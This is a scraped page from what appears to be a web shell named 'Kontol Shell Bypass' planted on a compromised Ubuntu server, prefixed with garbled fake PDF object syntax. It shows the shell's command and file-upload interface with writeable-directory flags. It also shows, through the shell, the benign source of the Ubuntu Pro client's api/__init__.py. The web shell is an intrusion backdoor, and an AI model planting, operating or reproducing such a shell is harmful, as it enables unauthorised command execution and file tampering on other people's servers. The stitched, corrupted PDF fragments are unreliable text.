%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /usr/lib/python3/dist-packages/uaclient/api/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/lib/python3/dist-packages/uaclient/api/__init__.py
import abc
import logging
from typing import Optional

# setup null handler for all API endpoints
logging.getLogger("ubuntupro").addHandler(logging.NullHandler())


class AbstractProgress(metaclass=abc.ABCMeta):
    @abc.abstractmethod
    def progress(
        self,
        *,
        total_steps: int,
        done_steps: int,
        previous_step_message: Optional[str],
        current_step_message: Optional[str]
    ):
        pass


class NullProgress(AbstractProgress):
    def progress(
        self,
        *,
        total_steps: int,
        done_steps: int,
        previous_step_message: Optional[str],
        current_step_message: Optional[str]
    ):
        pass


class ProgressWrapper:
    def __init__(self, progress_object: Optional[AbstractProgress] = None):
        if progress_object is not None:
            self.progress_object = progress_object
        else:
            self.progress_object = NullProgress()
        self.done_steps = 0
        self.total_steps = -1
        self.previous_step_message = None  # type: Optional[str]

    def progress(self, message: str):
        self.progress_object.progress(
            total_steps=self.total_steps,
            done_steps=self.done_steps,
            previous_step_message=self.previous_step_message,
            current_step_message=message,
        )
        self.previous_step_message = message
        self.done_steps += 1

    def finish(self):
        self.done_steps = self.total_steps
        self.progress_object.progress(
            total_steps=self.total_steps,
            done_steps=self.done_steps,
            previous_step_message=self.previous_step_message,
            current_step_message=None,
        )

    def emit(self, event: str, payload=None):
        """
        This is our secret event system. We use it internally to insert prompts
        and extra messages in the middle of operations at certain points.
        We don't consider this stable enough to expose to the public API.
        """
        if hasattr(self.progress_object, "_on_event"):
            self.progress_object._on_event(event, payload)

    def is_interactive(self) -> bool:
        if hasattr(self.progress_object, "is_interactive"):
            return self.progress_object.is_interactive
        else:
            return False

Kontol Shell Bypass